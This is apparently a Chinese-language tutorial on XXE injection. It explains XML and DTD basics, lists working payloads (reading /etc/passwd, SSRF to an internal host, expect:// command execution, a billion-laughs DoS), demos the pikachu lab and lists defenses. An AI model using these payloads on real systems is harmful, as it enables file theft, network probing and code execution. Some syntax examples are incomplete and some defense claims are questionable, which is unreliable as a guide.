一、漏洞描述
XXE漏洞利用的是XML解析器处理XML文件时的一个特性,即可以引用外部实体。攻击者可以在XML文档中定义一个外部实体,并在引用该实体时,在外部实体中注入恶意代码或文件路径等敏感信息。当XML解析器解析文档时,会自动解析外部实体,导致恶意代码或信息被执行或泄露。
二、相关知识
1、xml
可扩展标记语言,类似html,是传输数据并非显示数据,自行定义标签。有格式规范的用户自定义语言,利于数据的存储和传输(类似于JSON)。
2、DTD
1.内部声明DTD:
<!DOCTYPE根元素【元素声明】>
2.引用外部DTD:
<!DOCTYPE根元素【元素声明】>
3.内外部DTD文档结合:
<!DOCTYPE根元素SYSTEM"DTD文件路径"【定义内容】>
4、PCDATA:被解析的字符数据
CDATA:不会被解析器解析
3、实体
内部实体:
字符实体:
参数实体:或者
(%xxx只能在dtd中使用)
XML 外部实体注入成因:XML规范允许外部引用来定义实体,XML解析器将动态提取这些实体的值,XML解析器将提取指定的URL或文件的内容,并将其作为已定义实体的值在响应中返回。
xml外部实体注入的利用:
1,使用file://或php://协议来指定本地文件系统上的资源并使其返回
2,使用http://等协议让服务器通过网络提取资源,泄露敏感信息。
3,执行SSRF类的攻击,通过XML实体注入对内网进行端口,主机等探测
4,通过无期限读取某个文件流,实施拒绝服务攻击
5,利用它们与后端系统上无法通过因特网直接访问的网络服务器进行交互,如尝试连接到25端口的邮件服务器。
4、xxe payload
文件读取:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>
SSRF:
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]><foo>&xxe;</foo>
RCE:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]><root><name>&xxe;</name></root>
DDoS:
<!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY a0 "dos" ><!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"><!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">]><data>&a2;</data>
三、漏洞利用
这里使用pikachu简单演示,可见该输入框输入参数后服务器可解析xml
填入语句
<?xml version="1.0" encoding="UTF-8" ?>//声明xml版本以及编码方式
<!DOCTYPE note [//文档定义 定义变量hack的值为hello world
<!ENTITY hack "hello world">
]><name>&hack;</name>//引用变量
若存在xxe则上面xml会被解析,前端呈现hello word
函数:simplexml_load_string()是 PHP 中用于将 XML 字符串解析为 SimpleXMLElement 对象的函数。SimpleXMLElement 是 PHP 中用于处理 XML 数据的内置类,可以方便地访问和操作 XML 数据。
存在xxe,现在就可以利用xxe各种操作了
四、xxe防御
1.禁用外部实体:禁用 XML 解析器中的外部实体功能,从而防止攻击者利用外部实体注入攻击。在 PHP 中,可以使用以下代码禁用外部实体:
libxml_disable_entity_loader(true);
2.输入验证:对输入的 XML 数据进行验证,只允许特定格式和结构的数据。可以使用 XML Schema 或 DTD(文档类型定义)来定义允许的 XML 结构,并在解析 XML 数据时使用验证器来验证数据的结构和内容是否符合定义。
3.过滤危险实体:在解析 XML 数据时,可以对实体进行过滤,只允许特定的实体,或者禁止包含敏感信息的实体,如文件系统路径、网络地址等。可以使用 XML 解析器中的实体解析器来实现过滤。
4.使用安全的 XML 解析器:使用安全的 XML 解析器,如 SimpleXML 或 DOM,这些解析器默认禁用外部实体,并提供了额外的安全防护措施,如禁止解析 XML 注释和处理指令等。
5.使用隔离环境:将解析 XML 数据的应用程序隔离在独立的环境中,限制应用程序的访问权限,从而减少攻击者利用 XXE 攻击获取敏感信息或执行恶意代码的风险。